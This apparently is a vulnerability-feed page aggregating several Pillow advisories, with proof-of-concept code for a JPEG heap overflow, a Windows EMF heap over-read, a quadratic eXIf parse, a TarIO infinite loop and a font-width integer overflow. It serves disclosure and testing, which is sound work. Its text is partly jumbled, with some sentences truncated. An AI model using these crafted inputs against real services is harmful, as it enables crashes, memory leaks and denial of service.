The bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.

Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., "JPEG", icc_profile=im.info.get("icc_profile"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved.

The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.

The unguarded call was introduced in e50ae85ea406 ("Use jpeg_write_marker to write comment", 2022-12-05) and first shipped in 9.4.0.

## Details

`ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the "extra" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the "buffer full" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`.

A JPEG laid out as

```
FFD8 SOI
FFE2 "ICC_PROFILE\0" 01 01 -> im.info["icc_profile"]
FFFE -> im.info["comment"]
 
```

opened with `Image.open()` and re-saved with the usual colour-profile-preserving call

```python
im.save(out, "JPEG", icc_profile=im.info.get("icc_profile"))
```

kills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata.

### Code path

The buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:

```python
# src/PIL/JpegImagePlugin.py:859-862
 else:
 # The EXIF info needs to be written as one block, + APP1, + one spare byte.
 # Ensure that our buffer is big enough. Same with the icc_profile block.
 bufsize = max(len(exif) + 5, len(extra) + 1)
```

`ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).

The "+1 spare byte" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:

```c
// src/libImaging/JpegEncode.c:302-337
 case 3:
 if (context->extra) {
 unsigned int n = context->extra_size - context->extra_offset;
 if (n > context->destination.pu

Affected package ranges reported by GitHub:
Pillow: >= 9.4.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
https://kevwire.com/record/CVE-2026-96644
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds) (Oct 22, 2026).
- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.

In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96644).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96644&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9v9v-9qvf-h2hj: https://github.com/advisories/GHSA-9v9v-9qvf-h2hj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96644: https://nvd.nist.gov/vuln/detail/CVE-2026-96644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96644&date=2026-10-25
### Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

### Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.

In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

- `src/display.c:793-794` assign the 16-bit fields
- `src/display.c:800` sizes the allocation from them
- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values

The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).

### PoC
```python
import struct
from PIL import Image

def L(v):
 return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
```

On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).

### Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Affected package ranges reported by GitHub:
Pillow: < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
https://kevwire.com/record/CVE-2026-96643
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time (Oct 22, 2026).
### Details
 `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

 ```python
 while data and data.startswith(b"Exif\x00\x00"):
 data = data[6:]
 ```
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96643).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-g4qv-2jxx-769h: https://github.com/advisories/GHSA-g4qv-2jxx-769h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96643: https://nvd.nist.gov/vuln/detail/CVE-2026-96643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-25
### Summary
 A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

 ### Details
 `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

 ```python
 while data and data.startswith(b"Exif\x00\x00"):
 data = data[6:]
 ```

 Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

 `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.

 If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

 ### Steps to reproduce
 This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.

 ```python
 import time
 from io import BytesIO
 from PIL import Image, PngImagePlugin

 def chunk(cid, *data):
 fp = BytesIO()
 PngImagePlugin.putchunk(fp, cid, *data)
 return fp.getvalue()

 MAGIC = PngImagePlugin._MAGIC
 IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
 IDAT = chunk(b"IDAT")
 IEND = chunk(b"IEND")

 marker = b"Exif\x00\x00"
 exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
 data = MAGIC + IHDR + exif_chunk + IDAT + IEND

 start = time.time()
 with Image.open(BytesIO(data)) as im:
 im.getexif()
 print("took", time.time() - start, "seconds")
 ```

 Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

 Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a
 few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

 A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.

 ```python
 import pytest
 from io import BytesIO
 from PIL import Image, PngImagePlugin

 def chunk(cid, *data):
 fp = BytesIO()
 PngImagePlugin.putchunk(fp, cid, *data)
 return fp.getvalue()

 MAGIC = PngImagePlugin._MAGIC
 IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
 IDAT = chunk(b"IDAT")
 IEND = chunk(b"IEND")

 @pytest.mark.timeout(2)
 def test_exif_load_is_not_quadratic():
 marker = b"Exif\x00\x00"
 exif_chunk = chunk(b"eXIf", marker * 300_000)
 data = MAGIC + IHDR + exif_chunk + IDAT + IEND
 with Image.open(BytesIO(data)) as im:
 im.getexif()
 ```

 ### Impact
 - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
 - Confidentiality: none.
 - Integrity: none.
 - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Affected package ranges reported by GitHub:
Pillow: >= 11.0.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: TarIO negative size field causes infinite CPU-spin loop
https://kevwire.com/record/CVE-2026-96642
Pillow: TarIO negative size field causes infinite CPU-spin loop (Oct 22, 2026).
```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96642).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3j72-p6qg-6xp7: https://github.com/advisories/GHSA-3j72-p6qg-6xp7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96642: https://nvd.nist.gov/vuln/detail/CVE-2026-96642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-25
### Summary
`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

### Details
`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

### Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

```python
from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
 data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b" -00001000"

with open("poisoned.tar", "wb") as f:
 f.write(data)

# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")
```

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

```python
from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"

@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
 with open(SOURCE_TAR, "rb") as f:
 data = bytearray(f.read())

 data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated

 poisoned_tar = tmp_path / "poisoned.tar"
 poisoned_tar.write_bytes(data)

 with pytest.raises((OSError, ValueError)):
 with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
 pass
```
### Impact

- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
- Confidentiality: none.
- Integrity: none.
- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

Affected package ranges reported by GitHub:
Pillow: < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
https://kevwire.com/record/CVE-2026-96641
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise (Oct 22, 2026).
Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-4rm8-3hmm-39fg).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96641&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4rm8-3hmm-39fg: https://github.com/advisories/GHSA-4rm8-3hmm-39fg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96641&date=2026-10-25
### Summary
Affected Object and Source

Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx

### Details
The code in Pillow 12.3.0 is:
```c
for (xsize = 0; *text; text++) {
 int dx = self->glyphs[*text].dx;
 if (dx > 0 && xsize > INT_MAX - dx) {
 PyErr_SetString(PyExc_OverflowError, "Width too large");
 return -1;
 }
 xsize += dx;
}
```
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:
`dx > 0 => xsize xsize >= INT_MIN - dx`
Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.

### PoC
```python
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont

ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537

def bitmap_font(advance: int) -> ImageFont.ImageFont:
 metrics = bytearray(256 * 20)
 glyph_offset = ord("A") * 20
 metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
 font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
 font = ImageFont.ImageFont()
 font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
 return font

def main() -> None:
 font = bitmap_font(ADVANCE)
 print(f"Pillow={PIL.__version__}")
 print(f"control_math={ADVANCE * CONTROL_REPEAT}")
 print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
 print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
 print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")

if __name__ == "__main__":
 main()
```

Observations from a regular 12.3.0 release build:

```text
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
```

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.

### Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

### Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions:
```c
if ((dx > 0 && xsize > INT_MAX - dx) ||
 (dx < 0 && xsize < INT_MIN - dx)) {
 PyErr_SetString(PyExc_OverflowError, "Width too large");
 return -1;
}
```
At a minimum, four test cases should be added:
1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);
2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;
3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);
4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.

Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.

Affected package ranges reported by GitHub:
pillow: < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
https://kevwire.com/record/CVE-2026-96640
Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion (Oct 22, 2026).
An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.

In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.
CVSS 8.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96640).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96640&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-mrfp-p49p-3hf2: https://github.com/advisories/GHSA-mrfp-p49p-3hf2
